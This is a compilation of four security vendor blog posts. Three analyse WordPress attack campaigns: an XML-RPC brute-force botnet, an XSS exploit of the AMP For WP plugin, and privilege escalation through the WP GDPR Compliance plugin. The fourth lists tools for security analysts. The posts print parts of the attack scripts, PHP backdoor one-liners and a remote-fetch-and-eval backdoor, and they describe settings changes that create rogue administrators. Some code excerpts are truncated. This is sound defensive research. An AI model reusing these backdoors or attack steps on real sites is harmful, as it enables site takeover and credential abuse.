Botnet of Infected WordPress Sites Attacking WordPress Sites

The Defiant Threat Intelligence team recently began tracking the behavior of an organized brute force attack campaign against WordPress sites. This campaign has created a botnet of infected WordPress websites to perform its attacks, which attempt XML-RPC authentication to other WordPress sites in order to access privileged accounts.

Between Wordfence’s brute force protection and the premium real-time IP blacklist, we have blocked more than five million malicious authentication attempts associated with this attack campaign in the last thirty days alone.

The threat actors (hackers) use a group of four command and control (C2) servers to send requests to over 14,000 proxy servers provided by a Russian proxy provider called best-proxies[.]ru. They use these proxies to anonymize the C2 traffic. The requests pass through the proxy servers and are sent to over 20,000 infected WordPress sites. Those sites are running an attack script which attacks targeted WordPress sites. The diagram below illustrates the attack chain.

In the post below, we describe this attack chain in detail for the benefit of researchers, vendors and security operations teams. We have omitted or redacted data in some cases because the C2 servers and infected WordPress sites are still online and may be exploited by others. Our team is sharing data with law enforcement related to this investigation. We are also providing data to affected hosts to help them remediate infected machines on their networks.

Brute Force Attack Scripts Identified

In our research of this campaign we determined that the IPs performing the brute force attacks were nearly all associated with popular web hosting providers, and that the attacks were all targeting WordPress’s XML-RPC interface at /xmlrpc.php. We also noted that the User-Agent strings associated with these requests matched those used by applications commonly seen interacting with the XML-RPC interface, like wp-iphone and wp-android. Since these applications typically store credentials locally, it was unusual to see a significant amount of failed logins from them, which drew our attention. We identified over 20,000 WordPress slave sites that were attacking other WordPress sites.

WordPress Attacking WordPress

With this data in hand, we went on to identify brute force attack scripts present on infected WordPress sites matching the attacks we were tracking. The scripts target the XML-RPC interface of WordPress sites to test username/password pairs, and randomly spoof the User-Agent string of each request:

foreach ($request as $i => $id) {
    $xmlualist  = array("Poster", "WordPress", "Windows Live Writer", "wp-iphone", "wp-android", "wp-windowsphone");
    $xmlual = $xmlualist[array_rand($xmlualist)];

The brute force script takes command and control (C2) input via POST in order to define some execution settings, such as a JSON array of targeted domains and a local wordlist to be used:

if ($_POST['secret']=='111'){
    $timer = time();
    ini_set('memory_limit', '-1');
    ini_set('max_execution_time', 500000000000);
    $request = array();
    if(checkWordsList($_POST['wordsList'], $_POST['path'], $_POST['hash'])){
        $domainsData = json_decode($_POST['domainsData'], true);
        foreach($domainsData as $item){
            $brutePass = createBrutePass($_POST['wordsList'], $item['domain'], $item['login'], $_POST['startPass'], $_POST['endPass']);
            $request[] = array('id'=>$item['id'], 'user'=>$item['login'], 'request'=>createFullRequest($item['login'], $brutePass),'domain'=>'http://' . trim(strtolower($item['domain'])).'/xmlrpc.php', 'brutePass'=>$brutePass);


Dynamic Wordlist Generation

The wordlists associated with this campaign contain small sets of very common passwords. However, the script includes functionality to dynamically generate appropriate passwords based on common patterns. A few examples of these patterns are:

  • %domainPattern%
  • %userName%
  • %userName%1
  • %userName%123
  • %userName%2018
  • %userName%2017
  • %userName%2016

In other words, if the brute force script was attempting to log on to as the user alice, it will generate passwords like example, alice1, alice2018, and so on. While this tactic is unlikely to succeed on any one given site, it can be very effective when used at scale across a large number of targets.

Multicall Functionality

WordPress’s XML-RPC interface saw an upswing in brute force attacks in 2015, when attacks leveraging multicall functionality became popular. In short, using this interface an attacker could send a large number of user/password pairs in a single request. WordPress would test each pair, and return a list of successes and failures. This technique made the brute force attack process much easier to launch at scale, since an attacking device would only need to send a single batch of credentials and wait for a reply.

The brute force script in this campaign is built to perform this type of multicall attack by default. The code snippet below shows the function that, when given a username and array of passwords, will assemble a single XML object containing all of the passwords to be attempted.

function createFullRequest($login, $passwords){
    $xml = createRequestXML();
    for($i = 0; $i saveXML();
    return $request;

The C2 systems issuing instructions to the brute force script can optionally define $startPass and $endPass variables, which tell the script to only attempt a subset of passwords on a given list instead of running the entire set.

Multicall Attacks No Longer Effective (Mostly)

Many WordPress users may not be aware that this XML multicall attack is no longer effective. A patch to wp-includes/class-wp-xmlrpc-server.php was introduced in WordPress 4.4. With this patch, if one login attempt in an XML-RPC request fails on a targeted website, that website will immediately fail all subsequent attempts in the same request, even if the credentials are valid.

The XML-RPC patch to WordPress 4.4 was released quietly, and isn’t disclosed in the release notes. It also hasn’t been backported to earlier WordPress branches like the majority of security fixes, despite being a relatively uninvasive patch. To clarify, even if a site is on the latest security release of a WordPress branch from 4.3 and older, it can be vulnerable to this attack method.

The attackers in this campaign seem to be aware of this improvement. A number of requests from C2 systems to (formerly) infected sites have been intercepted by the Wordfence firewall, and these requests all define the same value for the $startPass and $endPass parameters described above. This means that the attack scripts end up attempting authentication with one user/password combination at a time, effectively deprecating the script’s own multicall functionality.

Attacker Infrastructure Revealed

As mentioned above, we’ve been able to capture requests sent from C2 systems to the network of infected WordPress sites, and have been successful in acquiring a great deal of intelligence from this data.

Central C2 Servers Identified

The attack chain in this campaign made use of multiple layers of abstraction between the attacker and target sites. Brute force attacks are executed by a network of infected WordPress sites, which receive instructions via a network of proxy servers, so it would typically be very difficult to track the central C2 servers behind it all. We were fortunate, though, that the attacker made some mistakes in their implementation of the brute force scripts.

Since the scripts each make use of wordlists stored on the same infected WordPress site, they include functionality to regenerate these wordlists if necessary:

function checkWordsList($filename, $path, $hash){
    if(file_exists($_SERVER["DOCUMENT_ROOT"].'/'.$filename) and md5_file($_SERVER["DOCUMENT_ROOT"].'/'.$filename) == $hash){
        return true;
        downloadCurlTarg($path, $_SERVER["DOCUMENT_ROOT"].'/'.$filename);
        if(file_exists($_SERVER["DOCUMENT_ROOT"] . '/' . $filename) and md5_file($_SERVER["DOCUMENT_ROOT"] . '/' . $filename) == $hash){
            return true;
            return false;

The checkWordsList() function is passed a $path argument which defines a remote address containing the wordlist to be used. If the local wordlist is missing, the script will download the list from the given address. This path is provided alongside the rest of the POST data sent from the proxy servers to the brute force script. Requests intercepted by our firewall included this path, which contained an IP address.

This IP pointed to a server which contained a login page, which suggested we found something big.

Simple login screen found on the C2 servers.

We went on to identify a total of four active command and control servers involved in the brute force campaign.

C2 Interface Access

Brief analysis of the C2 sites revealed that, despite the login page, authentication to these systems wasn’t actually enforced. Attempting to access pages on the C2 interface would trigger a 302 redirect to the login page, but the application still sent the page data alongside the redirect.

cURL request to the homepage of a C2 server. Note the 302 redirect to /login.php, as well as the HTML response that follows it.

Using BurpSuite, we created a proxy rule that ignores this login redirect, which gave us the ability to browse the interface of the C2 application freely. Contained within the interface was a number of features, including the ability to access a list of “slaves”, which referred to the infected WordPress sites containing brute force scripts.

One view available in the C2 interface showing a list of logs exported by the attacker.

Identified Connection To

With access to the interfaces of these C2 servers, we were able to identify the relationship between these servers and the proxy servers issuing commands to the “slave” sites. Each server contained a file in its webroot named proxy.txt. This file contains a list of nearly ten thousand SOCKS proxy addresses, with IP addresses and ports. These IP addresses coincided with the proxy servers we had previously identified, suggesting the C2 uses this file to randomly select a proxy when issuing each attack. We identified 14,807 proxy servers.

Interestingly, the proxy.txtfile on one of the C2 servers didn’t contain a list of proxy addresses, but instead contained an HTML document. The document was a copy of a 503 Service Unavailable error, including a link to Also in this document was Russian text which translates to “Authorization error: The validity period of this key is over, you can buy a new key.”

It turns out, even hackers forget to pay their bills.

Screenshot of the error document stored on a C2 server, suggesting the attacker failed to renew the API key used to access proxy lists.

Given the circumstances, it’s probable that the C2 server sources its list of SOCKS proxies from by directly storing the API response in proxy.txt. When the API returns an error, this error overwrites the proxy list.

C2 Servers and “Bulletproof” Hosts in Romania, Netherlands and Russia

The C2 servers we identified are hosted with providers known in the security community as “bulletproof” hosts. “Bulletproof” refers to hosts that are known for lax (if any) enforcement of abuse policies and legal action, making them a de facto safe haven for malicious activity.

According to MaxMind’s GeoLite2 ASN database, three of the identified C2 servers are associated with a company called HostSailor. HostSailor has been in the news for infamously threatening KrebsOnSecurity after the security publication drew attention to the company’s questionable practices.

Two of the C2 servers hosted at HostSailor are located in the Netherlands and one is in Romania. The remaining C2 server is hosted with SELECTEL, a Russian hosting provider which is referred to as bulletproof in discussions on forums like BlackHatWorld.

Cooperation With Authorities

A great deal of valuable data was gathered as a part of this investigation. Due to the nature of our work, our team maintains contact with a number of law enforcement agencies around the globe. While we typically share a great deal of data on these blog posts, like IP addresses and other indicators of compromise, in this case we have elected to retain some of this information in order to prevent interfering with possible future investigations.

In addition to law enforcement, we will be contacting some hosting providers we’ve identified with large numbers of infected “slave” sites. It is our hope that providing this information can help limit the effectiveness of this campaign by reducing the number of active sites launching attacks.

What Should Site Owners Do?

In order to prevent your site from falling victim to brute force attacks, it is valuable to implement restrictions and lockouts for failed logins. The Wordfence plugin features robust brute force protection, and the IPs launching the attacks are automatically blocked for Premium Wordfence users with access to the real-time IP blacklist.

The Wordfence scanner is effective at detecting the malware this attack campaign is dropping on affected websites. That detection capability is already in production for Premium customers and will be available for our community users in a few days.

If you believe your site is infected and launching attacks as part of this campaign, please consider making use of our site cleaning services. Our team is familiar with these cases and can ensure your issue is properly handled. You should also consider having our team perform a site security audit.


The Defiant Threat Intelligence Team identified a widespread campaign of brute force attacks against WordPress websites. These attacks were launched by malicious scripts planted on other WordPress sites, which received instructions from a botnet with a sophisticated attack chain, using a Russian based proxy provider. We are actively collaborating with law enforcement and hosting providers to mitigate the effects of this attack campaign and the threat actor involved.

Credits: Author Mikey Veenstra. Research by Brad Haas and Mikey Veenstra. Additional contributions from James Yokobosky, Paolo Tresso and Gregory Bloom. Edited by Mark Maunder and Dan Moen. Artwork by Syndel Klett.


The post Botnet of Infected WordPress Sites Attacking WordPress Sites appeared first on Wordfence.


XSS Injection Campaign Exploits WordPress AMP Plugin

News broke last week disclosing a number of vulnerabilities in the AMP For WP plugin, installed on over 100,000 WordPress sites. WordPress contributor Sybre Waaijer identified the security issue and confidentially disclosed it to the WordPress plugins team. To exploit the flaw, an attacker needs to have a minimum of subscriber-level access on a vulnerable site.

This post is Copyright 2018 Defiant, Inc. and was published on the official blog. Republication of this post without permission is prohibited. You can find this post at:

The Wordfence team has identified an XSS (cross-site scripting) campaign that is actively exploiting this security flaw. In the post below, we describe this sophisticated attack campaign in detail. It is critical that site owners using AMP For WP update to the most recent version of this plugin as soon as possible. At the time of writing, the newest version of AMP For WP is version

The Wordfence firewall has a new rule that defends sites against this exploit. This rule has been released to Premium Wordfence customers and will be available for free customers 30 days after release. In addition, the Wordfence firewall has a generic XSS rule which has been available to free and Premium customers for over 2.5 years, which catches most exploits targeting this vulnerability.

In addition, the Wordfence team released malware signatures into production that detect the malware payloads that are being deposited on servers targeted in this attack. These are currently in production for Wordfence Premium customers.

The rest of this post documents the attack campaign that our team has identified, which is exploiting the recent vulnerability discovered in the AMP For WP plugin. The rest of this post is written for security operations teams, developers, vendors and other network defenders. It describes the attack chain and includes IOCs (indicators of compromise) that can be used to improve security products and harden firewalls and intrusion detection systems against this threat.

The Vulnerability

A number of individual security flaws were patched in the recent release of the plugin. The crux of the situation is an overall lack of capabilities checks associated with the plugin’s AJAX hooks. A user needs to have an active login session to make the necessary calls to the plugin and it does not matter what permissions that user has been granted on the impacted site.

The code above from install/index.php iterates over POST data without any capabilities checks.

The active exploits we have identified are leveraging this set of flaws to modify the plugin’s own options stored in the WordPress database.

Attacking The Admin

The most prevalent attacks against this vector attempt to inject the following XSS payload into the victim’s site content with the goal of affecting a logged-in administrator:

If an administrator’s browser executes the malicious JavaScript, it will source a larger payload from its command and control (C2) server at This script, stat.js, contains a number of notable features.

The SendData() function above notifies the C2 server of any actions successfully executed by the malicious JavaScript

One area of concern is the processNewUser() function, which attempts to hijack the affected administrator’s browser session in order to register a new administrator account named supportuuser:

The processNewUser() function attempts to use a hidden iframe to execute the user registration process.

After creating a hidden iframe element on the page being viewed by the affected administrator, the script simulates the process of filling out the New User form. As part of this process it selects the Administrator role and sends a click() event to the submit button to create a new user with admin access.

In addition to the creation of a rogue administrator account, the script also attempts to inject backdoor code into an affected site’s plugins. This is accomplished similarly to the administrator creation above, with a hidden iframe appended to the page’s content and used to simulate an admin’s interactions with the Plugin areas of the dashboard.

The function defined above is used to inject malicious PHP into a site’s plugins.

The PHP backdoors injected into a site’s plugins are as follows:

@array_diff_ukey(@array((string)@$_REQUEST['vqmode']=>1), @array((string)stripslashes(@$_REQUEST['map'])=>2),@$_REQUEST['bootup']);


Both of these backdoors are effective ways to allow an attacker to execute arbitrary PHP code on infected sites, even if the rogue administrator account mentioned above is successfully removed.

C2 Server

The command and control (C2) server for this campaign is currently located at This host serves the live version of the JavaScript payload described above, as well as a script used to receive data from affected browser sessions. The domain itself was registered on November 2nd with the Ukrainian company, but the server hosting the domain has been around longer, having been associated with an Apple phishing scam just over a year ago.

Coding Style

As you may have noticed from the screenshots above, the JavaScript file hosted on the C2 server contains a number of commented-out lines apparently used during development by the malware’s author to test various functions. Additionally, the JavaScript itself is uncommonly well-formatted as compared to other malware, where “uglified” or otherwise obfuscated code is the norm. This can change at any time because the script is hosted on the adversary’s server.

While attacks targeting this vulnerability are coming from an array of source addresses, a flaw in the execution of these attacks make them easily trackable. It is common for attack platforms to spoof the User-Agent string of a well known browser in an effort to make their traffic blend in with normal browsing activity. In this case however, the User-Agent string contained in these malicious requests is broken: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv. Note that in similar User-Agent strings, a version number follows “rv”. This suggests that the attacker intended to rotate or otherwise change the version number in the string programmatically. This broken User-Agent was found in all attacks associated with this adversary.

Indicators Of Compromise (IOCs)

Most Prevalent Attacking IPs


Outbound Domains Accessed


Associated User-Agents

  • Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv

Database Indicators

  • The presence of unauthorized accounts in your site’s users table, including but not limited to the following example:
    • supportuuser
  • The presence of any unintentionally-introduced JavaScript in any wp_options entries associated with the AMP For WP plugin, which contain the string amp in the option_name field.


This malware campaign is an example of why a stored XSS vulnerability is a high priority issue. When an attacker is able to run their own JavaScript in the browser of a site’s administrator, there are a variety techniques they can employ to pivot further into a site. While the C2 domain in the case of this attack is very new and has yet to appear on the blacklists used by popular browser plugins like uBlock Origin, administrators of mission-critical sites might consider employing an untrusted-by-default model with browser extensions like NoScript.

We considered a content security policy (CSP) as possible mitigation of this attack, but the attacker could modify the XSS payload to be an inline version of the script loaded from the sslapis C2 server.

As always, the best defense against these attacks is to keep your site’s software up to date. AMP For WP’s security fix was available for nearly two weeks before these attacks began, hopefully placing a hard limit on the exploitable attack surface of this vulnerability.

For sites unable to update, or those which have not updated for any other reason, a rule has been added to the Wordfence firewall preventing these attacks. This rule is already in place on all Premium Wordfence users, and will be released to Free Wordfence users after 30 days. However, most attempts at exploiting this vulnerability happen to trigger a preexisting firewall rule built to block generic XSS payloads, and this rule has been protecting free Wordfence users for over 2.5 years. Our team has also released malware signatures into production to detect the malware being deposited on servers targeted in this attack.

Written by Mikey Veenstra with research assistance from Stephen Rees-Carter, James Yokobosky and Matt Barry. 

The post XSS Injection Campaign Exploits WordPress AMP Plugin appeared first on Wordfence.


Trends Emerging Following Vulnerability In WP GDPR Compliance Plugin

Earlier this week the WP GDPR Compliance plugin was briefly removed from the repository after the discovery of critical security issues impacting its users. In yesterday’s post, we provided some details regarding these issues and illustrated their severity. In the hours since that post was published, our team has continued tracking the adversaries seeking to exploit this new attack vector. Today, we’re sharing the findings of this extended research. This post is technical in nature and will be helpful for network defenders, developers and security researchers.

This post is Copyright 2018 Defiant, Inc. and was published on the official blog. Republication of this post without permission is prohibited. You can find this post at:

For details regarding the vulnerability and its scope be sure to read yesterday’s post, Privilege Escalation Flaw In WP GDPR Compliance Plugin Exploited In The Wild, before proceeding.

If you run a WordPress site and use this plugin, you should update to the newest version which fixes the vulnerability, or remove the old version of the plugin. The newest version of WP GDPR Compliance is version 1.4.3.

Two Notable Exploits

The data gathered by our malware scans, firewall activity, and site cleaning reports has revealed two primary types of exploit taking place. The first case, identified early in our research and mentioned in yesterday’s post, involves modifying user registration settings. The second case, caught and logged by the new firewall rule for this vulnerability, injects malicious scheduled actions to be executed by WP-Cron. Examples we have seen of both attack types have made use of backdoor scripts named wp-cache.php, though the contents of these backdoor files differ between the two methods.

Administrator Access via Modified Settings

The most common attempted attacks against this flaw at the time of this writing directly exploit the ability to modify arbitrary settings on affected sites. By enabling new user registration and changing the default role of new users to Administrator, attackers are able to simply create a new privileged user, then log in and take any actions on the newly compromised site.

Interestingly, automated attempts to perform this activity are also reversing the settings modifications being made. The following screenshot contains relevant access log entries for one such attack.

In this log, we first see a GET request to the site’s homepage. This first request is necessary to produce the “ajaxSecurity” nonce required by the plugin to perform AJAX actions. Next, two POST requests are made to /wp-admin/admin-ajax.php. Data stored in POST bodies is not seen in access logs, however in the course of our research we have been able to acquire samples of this data. The first two AJAX requests contain the following data:



In the first action, we see the attacker enabling the users_can_register option, which adds functionality to a site’s wp-login.php page allowing users to create new accounts. Next, the default_role option is set to ‘administrator’, meaning any new user registered to the site is automatically given full administrative access.

The next items in the access log show the attacker making a POST request to /wp-login.php?action=register, and the subsequent redirect to the “Registration complete. Please check your email” dialog.

Lastly, two more AJAX requests are made, containing the following instructions:



Here we can see the attacker actually reversing the configuration changes that allowed them to create an administrator account, first by disabling user registration then setting the default user role to “subscriber”. This serves to help prevent other attackers from creating their own administrator accounts, as well as reducing the likelihood that a site’s administrator will notice a problem. It closes the door behind the attacker.

Several hours after the new user is created, the attacker logs in to their new administrator account and can begin installing further backdoors. In our sample cases, we’ve seen attackers uploading a robust PHP webshell in a file named wp-cache.php. The image below is a screenshot of the shell user interface.

With a file manager, terminal emulator, and PHP eval features, a script like this on a site can allow an attacker to deploy further payloads at will.

Backdoor Installation via Injected Cron

The second type of exploit we’re seeing is less straightforward, and more difficult to identify at a glance. By injecting malicious actions into a site’s WP-Cron schedule, these attackers are able to install a persistent backdoor that can replace itself if removed. While a variety of malicious actions can be stored and executed via WP-Cron, the cases we have seen so far rely on the presence of another popular WordPress plugin, WooCommerce.

The following line contains a portion of an AJAX request body blocked by the Wordfence firewall for attempting to insert a malicious WP-Cron task:


This cron task attempts to use WooCommerce’s built-in woocommerce_plugin_background_installer action to install the 2MB Autocode plugin, which allows the injection of arbitrary PHP code into all posts on a site. The code to be injected is stored by 2MB Autocode as an option in the database, so the next step is to modify that setting using the same vulnerability:


The [malicious_php] placeholder in the above example contains a PHP backdoor script which performs the following actions in sequence:

  1. Receive encoded input stored in the attacker’s request as an “HTTP_X_AUTH” header, which declares the locations used in the following steps.
  2. Make a request to http://pornmam[.]com/wp.php
  3. Decode the response and save the resulting PHP backdoor as wp-cache.php
  4. Include the core file /wp-admin/includes/file.php
  5. Deactivate and delete the 2MB Autocode plugin
  6. Clear the WP-Cron event associated with the attack
  7. Delete the 2mb_autocode_topstring option containing this code.

While the backdoor script seen in these cases shares the name wp-cache.php with other methods, the contents are much different. Instead of a self-contained web shell, this script contains some decoding functions and some execution syntax, but none of the executed payload is stored in the file. Instead, the payload to be decoded and executed is stored as a POST variable or in a cookie.

Without any captured requests to this script, we can’t know exactly what the intended behavior is. However, given the nature of the script and its eventual call to eval(), it’s to be expected that any arbitrary code can be executed by way of this backdoor.

No Mobilization Yet

In most infections, there will be one or more active methods in place to bring value of some form to the attacker. Whether an infected site is serving spam emails, hosting a phishing scam, or any other direct or indirect monetization, there’s often a clear goal identified as part of the triage process. However, despite the rapid occurrence of these identified cases, so far our research has only turned up backdoor scripts on sites impacted by this issue. No “end-stage” payloads intended to directly benefit an attacker have yet been associated with these attacks.

This behavior can mean a number of different things. It’s possible that these attackers are stockpiling infected hosts to be packaged and sold wholesale to another actor who has their own intentions. There’s also the chance that these attackers do have their own goals in mind, but haven’t launched that phase of the attack yet. In either case, sites impacted by these attacks should immediately work to identify and remove any backdoors present.

Indicators Of Compromise

The following section contains a series of IOCs (Indicators of Compromise) that can be used to assist in identifying and triaging cases similar to the ones in this report. Be advised that any common methods may be changed by the malicious actor at any time, especially as more attackers begin exploiting this vulnerability.

Most Prevalent Attacking IP Addresses

  • Admin Creation Method:
  • Cron Injection Method

Outbound Domains Accessed


Malware Hashes

  • Admin Creation Method Backdoor
    • MD5: b6eba59622630b18235ba2d0ce4fcb65
    • SHA1: 577293e035cce3083f2fc68f684e014bf100faf3
  • Cron Injection Method Backdoor
    • MD5: c62180f0d626d92e29e83778605dd8be
    • SHA1: 83d9688605a948943b05df5c548bea6e1a7fe8da

Database Indicators

  • The presence of unauthorized accounts in your site’s users table, including but not limited to the following examples:
    • t2trollherten
    • t3trollherten
  • An entry in your site’s options table with an option_name starting with 2mb_autocode (If not used intentionally)
  • The option default_role set to anything other than “subscriber” unless directly intentional.
  • The option users_can_register enabled unintentionally.

Installed Plugins

  • 2MB Autocode (If not used intentionally)


It is our hope that the details revealed by this research can be used to assist others in the security sphere to track and prevent these exploits. However, the attacks first seen following an impactful security disclosure can be considerably different than those seen in the weeks and months after. Given the scope of the vulnerability in question, it’s likely that more unique and sophisticated attack methods will be seen in the wild before long.

As always, we stress the importance of performing regular plugin updates to prevent these attacks from succeeding in the first place. The Wordfence plugin notifies administrators of outdated plugins automatically in order to help facilitate a quick response to potential vulnerabilities. In addition, the Wordfence Threat Intelligence team has released firewall rules and malware signatures to our premium customers in real-time to protect against this exploit and detect the indicators of compromise associated with the attack.

Written by Mikey Veenstra with contributions from Stephen Rees-Carter and Marco Wotschka. Edited by Mark Maunder. 

The post Trends Emerging Following Vulnerability In WP GDPR Compliance Plugin appeared first on Wordfence.


Top Tools for Security Analysts in 2018

Last spring, after discussing the tools and tech used by our team, we published a list of 51 Tools for Security Analysts. The article was well-received, and the comments offered some great suggestions to top it all off.

This post is Copyright 2018 Defiant, Inc. and was published on the official blog. Republication of this post without permission is prohibited. You can find this post at:

In the spirit of that list we’d like to offer our updated 2018 edition, featuring the Defiant team’s top three picks for useful tools across five categories: Information Gathering & Analysis, Penetration Testing, Forensics & Log Analysis, Malware Analysis and the illustrious Other category.

With as multifaceted as the information security sphere is, you’ll probably notice a bit of bias from our roots in web application security. A researcher who spends their time reverse-engineering Windows malware binaries will surely have a different opinion on the best tools for malware analysis. What are your picks? We’d love to hear them in the comments.

Note: While each category contains our top three picks, the selections themselves are presented in no particular order.

Information Gathering & Analysis


Since Google is effectively the source of all knowledge, it should be no surprise that we consider it one of the most valuable resources for finding information on the internet. In the scope of security analysis, however, Google’s star shines brightest when it’s used to find things that aren’t intended to be found.

Google Dorking (using advanced search operators to identify sensitive information or vulnerable hosts) can be a powerful technique for those of both good and ill intent. Researchers can leverage Google and other search engines to dig up web-accessible backup files, indicators of insecure web applications, and more. For more specific examples, a popular database of useful dork strings can be found in Exploit-DB’s Google Hacking Database.


Where Google crawls the internet to make an index of websites, Shodan’s mission is to index internet-connected devices themselves. Shodan sells itself as “The Search Engine for the Internet of Things”, and it delivers on that promise in some interesting ways.

If you’re not familiar, consider stories emerging over the past few years of malicious manipulation of gas pumps worldwide. Nearly all of these stories make reference to the attackers’ use of Shodan in target identification, including an exhaustive whitepaper on the subject by TrendMicro.


Maltego is an exceptional resource for investigations and general open-source intelligence (OSINT) alike. It provides a platform upon which to aggregate and organize data in order to analyze associations between all sorts of entities like email addresses, social media accounts and web sites.

“Maltego helps us explore the web of malware, attacking hosts, command & control servers, related emails and everything else that goes into our research. It’s a great tool to collaborate on investigating malicious activity, while making sure we don’t leave any loose ends.” – Brad Haas, Senior Security Analyst at Defiant

Penetration Testing

Burp Suite and ZAP

When it comes to full-featured web application penetration testing platforms, the two biggest names are PortSwigger’s Burp Suite and OWASP’s Zed Attack Proxy (ZAP). Most users will find these to be roughly interchangeable, both tools featuring a powerful assortment of features like an intercepting proxy, web spider, and fuzzer. ZAP is completely free and open source, while Burp is a commercial product with a free, slightly limited community edition.

Intercepting and manipulating the requests being sent to a target from your browser is a great first step for any penetration testing exercise, and quality-of-life tools like the Burp Repeater and Zap’s Manual Request Editor allow you to tweak payloads on the fly without interrupting your workflow to make script changes. Overall, it doesn’t hurt to keep both of them handy.


SQL injection vulnerabilities can be devastating if exploited, and for better or worse, sqlmap is really good at finding them. It features a bevy of tests against a variety of DBMS backends from MySQL to Oracle, and can be used to automate much of the process of identifying and attacking injectable points on a site.

Given a list of domains, sqlmap can crawl the sites and automatically perform a series of heuristic tests against any input methods it can identify. Once an injection point is identified, sqlmap remembers it and can then be used to launch a number of attacks. Depending on the security measures in place on the host, sqlmap can perform tasks from dumping the vulnerable database to opening a meterpreter shell to be used as a backdoor.


With WordPress pulling in a respectable 59.9% of the CMS market share, it was inevitable that a highly specialized vulnerability scanner like WPScan would be developed for it. Launching WPScan is a common first step in black box audits of WordPress sites, due to its ability to divulge a great deal of information about a typical installation.

WordPress core versions, as well as lists of installed plugins and themes along with their versions can be quickly enumerated with WPScan, and with some additional flags it can reliably enumerate a list of usernames present on the site. WPScan then rounds out the suite with a number of features to evade detection, including User-Agent randomization and a simple proxy implementation that gets along well with Tor routing.

Forensics & Log Analysis


FireEye’s Highlighter is a graphically-focused log analysis utility which can be of great use to administrators and incident response personnel in the wake of an attack.

Viewing a histogram of log activity over time can provide a unique perspective on the timeline of a breach, and the ability to pinpoint keywords and whitelist known good items from your dataset can streamline the analysis process. Unfortunately, Highlighter hasn’t seen a new release since 2011 and thus only officially supports Windows 7 and below, but it certainly holds loyalty from those who started using it a few years ago.


For the Linux and Mac log reviewers, you can’t beat lnav. It presents itself as a small-scale log viewer, more suitable for quick review of specific data on a single host than tools like Splunk, which are firmly enterprise-scale and often require their own infrastructure.

Cool features like SQL query implementations and easy-to-read syntax highlighting make lnav a no-brainer to implement in log review processes, especially in cases where you’re performing a postmortem review for a third party and no formal log aggregation was in place before you got involved.

The Command Line

This one might be a bit of a cheat, but we couldn’t pass it up with all the write-ins for grep, awk, and the like on our team survey. Regardless of your workflow or your technology stack, it’s crucial to know your way around the utilities commonly built into the systems with which you interact.

In most cases, it’s also important to leave your comfort zone and familiarize yourself with operating systems you encounter less frequently. For instance, Linux-using researchers may find themselves wishing they knew more PowerShell when encountering a Windows system in an engagement. To help you brush up, the SANS Institute has published a number of easily digestible reference materials, including the Linux Shell Survival Guide and the PowerShell Cheat Sheet.

Malware Analysis


Web-based malware is commonly masked by one or more layers of obfuscation, where the code is deliberately made to be difficult or impossible for humans to read. UnPHP is a solid first-run choice for analysts who encounter obfuscated PHP scripts without the time or experience to deobfuscate them manually.

UnPHP isn’t a panacea, and there are a number of evasions used in malware obfuscation which it can’t quite crunch at this time, but it handles many common techniques with ease. Of particular note is its recursive deobfuscation, as UnPHP can identify when a decoded output is itself obfuscated and automatically process the new layer. Even though it may not solve everything you throw at it, it’s still a valuable time-saver for anyone who comes across obfuscated PHP.


Where clean interface design and an “automate the boring stuff” mindset collide, we get CyberChef. CyberChef is an easy-to-use web application built to accommodate a number of data manipulation tasks, from simple encoding and decoding to encryption and compression, in a repeatable format.

To this end, CyberChef allows the user to create and save “recipes” out of a series of operations. Instruction sets like “Gunzip, then ROT13, then Base64 decode, then ROT13 again” can be stored and reloaded to “bake” new inputs repeatedly. These operations can scale up to complete a number of tasks, especially with built-in functions to extract useful strings like IP addresses and emails from the decoded input.

JS Beautifier

JavaScript minification is a standard process for just about every front-end web developer in the market, and malware developers are no stranger to this. JS Beautifier is a simple online tool used to automate the formatting of minified and obfuscated JavaScript into a human-readable document.

For the purposes of malware deobfuscation in particular, JS Beautifier can detect and reverse common obfuscation methods (notably packer, by Dean Edwards) as well as handling various character encodings like hexadecimal. Like UnPHP above, JS Beautifier isn’t a silver bullet that will take all of the work out of JS malware analysis, but it’s an excellent first step in almost every case.



Whether writing a regular expression is a daily task or an occasional solution to a problem, Regex101 is sure to be of use. Users inexperienced with regex will quickly appreciate the availability of quick reference materials and a powerful Explanation view, which provides you with a breakdown of why your expression behaves the way it does.

Experienced users can make great use of Regex101 as well. The built-in debugger allows developers to observe their regex as it runs step-by-step, which helps to identify performance improvements. Even simply watching Regex101 follow along as you write an expression, highlighting matching content in your test string as you go, can be of great assistance in preventing simple issues in complex regular expressions that may have been considerably more difficult to debug if written unassisted.

Have I Been Pwned?

Troy Hunt’s massive breach data aggregation project Have I Been Pwned? is a staple in information security awareness efforts. HIBP gives anyone on the internet the chance to know whether their personal data was associated with a publicly-known security breach. It provides a user-friendly breakdown of what particular data may have been stolen, as well as the source of each breach, if known. There’s also a separate API to check whether a given password has appeared in a breach, which we’ve built into Wordfence in an effort to prevent WordPress users from using compromised passwords.

While HIBP is of some use as a research tool, it excels at helping the layperson grasp the importance of security best practices. After all, there’s really no better way to convince your relatives that password reuse is dangerous than by showing them their data has probably already been breached.

Noscript / uMatrix

Spending any amount of time interacting with infected websites has the potential to be unsafe, or at the very least annoying. Malicious scripts on the sites in question will be attempting a number of behaviors, like browser redirects and cryptomining, so having a readily-configurable browser extension to protect yourself from these scripts is important.

NoScript has been the giant in this market since the mid-2000s, providing users with the ability to automatically block all scripts from executing until whitelisted by domain or on a per-script basis. However, it’s currently only compatible with Firefox and other Mozilla software, which can be a limiting factor for many users.

The browser gap is largely filled by uMatrix, a browser firewall developed by the creator of the popular ad blocker uBlock Origin. uMatrix is compatible with Firefox, Chrome, and Opera, and offers similar functionality to NoScript in terms of unwanted script filtering. While it offers a bit more to the power-user, uMatrix is definitely less user-friendly than NoScript, and you’ll find “For Advanced Users” warnings across its entries in browser addon repositories and its GitHub project alike.


To reiterate, this list is far from exhaustive. There are tools built to solve all sorts of problems, from the generic to specific, across every niche security specialty imaginable. This post simply serves as a handy reference for the utilities that we find ourselves using most commonly.

Lastly, it should go without saying that a number of these tools have the potential to be dangerous if used unethically. Never launch a penetration test against a system you don’t have explicit authority to be testing. These powers should only be used for good.

The post Top Tools for Security Analysts in 2018 appeared first on Wordfence.